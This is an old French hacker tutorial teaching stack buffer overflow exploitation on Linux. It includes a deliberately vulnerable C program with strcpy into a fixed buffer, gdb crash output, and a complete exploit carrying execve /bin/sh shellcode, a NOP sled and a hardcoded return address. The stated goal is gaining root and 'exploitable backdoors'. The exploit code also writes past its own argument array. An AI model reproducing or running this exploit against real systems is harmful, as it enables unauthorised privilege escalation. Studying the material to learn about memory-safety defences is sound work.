6 - Les exploits par Tipiax

 

            Qui n'a jamais revé de faire ces propres exploits, hein ?

            Si vous aussi vous etes dans ce cas la eh beh on va essayer de progresser ensemble. Le but d'un exploit

            est d'obtenir des droits quand on est sur un OS tel que linux ou WinNt. Ici on va le faire avec linux :)

 

            Tout d'abord voyons le fonctionnement d'un exploit. Un exploit exploite (eh oui :) un buffer overflow

             (enfin pas toujours mais ici oui). C'est a dire un débordement d'un buffer en mémoire. Un programme est

            executé ligne par ligne. Une instruction nommé "call" correspond à l'appel d'un fonction. Pour éxécuter

            cette fonction le programme sauve l'adresse de retour sur la pile, exécute la fonction puis revient grace

            à l'adresse sauvegardée. Le but de l'exploit par buffer overflow est de changer cette adresse mémoire

            en écrivant là où normalement on a pas le droit. Si un programme reçoit une chaine de caractere (buffer)

            comme paramètre, voila ce que ça donnerait en mémoire: (le buffer est une suite de A ici)

            MEMORY:)

            -------------------------------------------------------------------------------

            #BUFFER#                                         #PILE#

            AAAAAAAAAAAAAAAAAA                    |RET|???????...

            -------------------------------------------------------------------------------

 

            Enfin c'est ça TRES GROSSIEREMENT ! Mais bon bref. le principe est de faire déborder le buffer et de

            changer la valeur de retour de call sur la pile:

            MEMORY:)

            -------------------------------------------------------------------------------

            #BUFFER#                                        #PILE#

            AAAAAAAAAAAAAAAAAAAAAAAA|AAAA|AAAAAAAAAAAAAAAAA        

            -------------------------------------------------------------------------------

 

            Le buffer qu'on a rempli de "AAAA" a débordé et a atteind la valeur de retour. Le but est de mettre la valeur

            qu'on veut dedans pour l'envoyer sur un bout de programme codé par nos soins (ce que l'on appelle shellcode

            et qui sera placé au début du buffer).

 

            Voyons tout de suite un exemple concret.

 

            Créez le fichier exemple.c et mettez ceci dedans:

 

            -----------------------------------------------------------

                  //-----------------------------

                  // BO exemple - HackerStorm

                  //-----------------------------

 

                  void function(char *str)

                  {

                        char buffer[100];

                        strcpy(buffer,str);

                  }

 

                  main(int argc, char *argv[]) 

                  {

                        if (argc =  = 2)

                        {

                              function(argv[1]);

                        }

                  }

            -----------------------------------------------------------

 

            Puis vous le compilez avec gcc:

            gcc exemple.c -o exemple

            (le recompilez pas car le code compilé varie selon votre version de gcc, utilisez l'exemple précompilé)

            Vous obtenez un bel éxecutable pour ce minuscule programme en c. Le programme appelle une fonction qui va

            copier l'argument envoyé au programme lors de son éxecution dans un buffer d'une capacité de 100 caractères.

 

            Executez le normalement:

            ------------------------------------------------------------------------

            [root@localhost /root]# /root/Desktop/exemple

            [root@localhost /root]# /root/Desktop/exemple 1111111111111111111111111111

            ------------------------------------------------------------------------

 

            C'est bon il plante pas. Maintenant faisons déborder le buffer:

            ------------------------------------------------------------------------

            [root@localhost /root]# /root/Desktop/exemple `perl -e 'print "A" x 200'`

            Erreur de segmentation (core dumped)

            -------------------------------------------------------------------------

 

            Eh oui il plante, ça veut dire qu'on a bien fait déborder le buffer. le truc en perl c'est pour éxécuter le

            programme exemple avec 200 A en argument. On va tenter d'exploiter cette faille. C'est ici qu'on va

            normalement utiliser gdb. Mais là comme c'est mon programme et bien on en réécrit un qui nous simplifie la vie:

 

            -------------------------------------------------------------------------

                  //-----------------------------

                  // BO exemple - HackerStorm

                  //-----------------------------

 

                  unsigned long get_sp(void) {__asm__("movl %esp,%eax");}

 

                  void function(char *str)

                  {

                        char buffer[100];

                        strcpy(buffer,str);

     

                        system("clear");

                        printf("\nJe te donne tout pour que tu m'exploites facilement :\n");

                        printf("-----------------------------------------------------\n\n");

                        printf("Debut du buffer    : %x\n",buffer);

                        printf("Fin du buffer      : %x\n",buffer+100);

                        printf("Valeur de ESP      : %x\n",get_sp());

                        printf("Contenu du buffer  : %s\n\n\n",buffer);

     

                  }

 

                  main(int argc, char *argv[]) 

                  {

                        if (argc == 2)

                        {

                              function(argv[1]);

                        }

                  }

            -------------------------------------------------------------------------

 

            On fait un petit : ./exemple `perl -e 'print "A"x108'` et ça nous donne ceci :

            (108 car le ret est juste après le 104 dans cet exemple, comme vous me croyez pas regardez sous gdb:

            ------------------------------------------------------------------------

            [root@localhost Desktop]# gdb -q exemple

            (gdb) run `perl -e 'print "A"x108'`

 

            Program received signal SIGSEGV, Segmentation fault.

            0x41414141 in ?? ()

            ------------------------------------------------------------------------

            Bon on me crois maintenant ...)

 

            Je te donne tout pour que tu m'exploites facilement :

 

            -----------------------------------------------------

            Debut du buffer    : bffff8e8

            Fin du buffer      : bffff94c

            Valeur de ESP      : bffff8c4

            Contenu du buffer  : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

                                 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

            On a tout en main pour détourner l'éxécution de ce cher programme.

            Petite explication. En faisant déborder le buffer on écrase la valeur de retour de call. Cette valeur

            sera écrite entre 104 et 108. Voila. Dans le buffer en hexa il faudra inverser l'adresse (ce qui est logique

            si on réfléchit un peu). L'adresse :bffff8e8 donnera : e8f8ffbf. C'est bon on code l'exploit qui

            éxécutera le programme avec notre buffer.

 

            Petit problème: après avoir codé l'exploit on se rend compte que le fait de l'éxécuter extérieurement

            change l'adresse du début du buffer qui se retrouve en bffffde8. ça change tout !

 

            On va donc changer l'adresse de retour, mais a quoi ça sert ?

            Eh bien on va mettre du code au début du buffer qui sera éxécuté lors du retour. Ce code sera

            le lancement de la console du root car comme ça, à nous les maxi-privilèges :)

            Ce bout de code se nomme shellcode, et je dois avouer que je l'ai rippé :)

 

            Voila donc le code de l'exploit:

            (compilation : gcc exploite.c -o exploite)

 

            -----------------------------------------------------

                  #include <stdlib.h>

 

                  main(int argc, char *argv[])

                  {

                  char *args[2];

                  args[2]=NULL;

                  args[1]=

                     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

                     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

                     "\x80\xe8\xdc\xff\xff\xff/bin/sh"              //45 chars

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // les NOPS = 55 chars

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      // soit 100 chars au total

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90\x90"

                     "\x90\x90\x90\x90"   //104 chars

                     "\xe8\xfd\xff\xbf"

                     "\x00";                                        //le 0 final

                        if (argc != 2)

                        {

                              printf("Usage : Exploite <ProgName>\n");

                        }

                  //printf(args[1]);

                  execve(argv[1],args,0);

                  }

            -----------------------------------------------------

 

            Codé bien à l'ancienne pour bien comprendre :). Executez l'exploit comme ceci:

            ./exploite exemple

 

            Bim la console du super utilisateur apparait :) ! ObJeCtiF DeStRoYeD !

            A vous les backdoors exploitables :))))

 

                                                TiPiaX.